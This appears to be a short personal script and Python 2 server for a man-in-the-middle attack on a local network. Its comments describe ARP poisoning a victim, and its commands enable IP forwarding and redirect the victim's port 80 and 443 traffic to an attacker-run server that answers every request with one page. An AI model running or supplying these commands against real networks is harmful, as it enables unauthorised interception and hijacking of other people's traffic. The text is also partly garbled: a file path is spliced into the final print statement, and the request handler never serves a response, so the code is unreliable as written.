A script that man-in-the-middle's user's traffic on a network (intercepts it and allows you to play with it, but only HTTP traffic of course).

read more man-in-the-middle.sh

#will need to convince victim that we're the default gateway using ARP poisoning 

#then enable IP forwarding so that their traffic ends up going to the router via
sudo sysctl -w net.inet.ip.forwarding=1

#best way to start a server is to use the simple command below. Will open at
python -m SimpleHTTPServer 8000
#alternatively, you can use the server.py file. It redirects all requests to index.html so you may have better 
#results with it. 

#needed to forward all traffic on port 80 and 443 to go to my local server
sudo ipfw add fwd,8000 tcp from any to any 80 in via en0
sudo ipfw add fwd,8000 tcp from any to any 443 in via en0

#some bug made it so that you had to enable some flag that allowed this kind of forwarding
#and added 


import SimpleHTTPServer
import SocketServer

PORT = 8000

class CustomHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):

    def __init__(self, req, client_addr, server):
        SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self, req, client_addr, server)

    def do_GET(self):
        #always redirect to the homepage
        self.path = "/index.html"

class MyTCPServer(SocketServer.ThreadingTCPServer):
    allow_reuse_address = True

if __name__ == '__main__':
    httpd = MyTCPServer(('', PORT), CustomHandler)
    httpd.allow_reuse_address = True
    print "Serving at port", PO/Users/pooch/Documents/Independent/Sniffing Resources & Network Hacks/middleServer/server.pyRT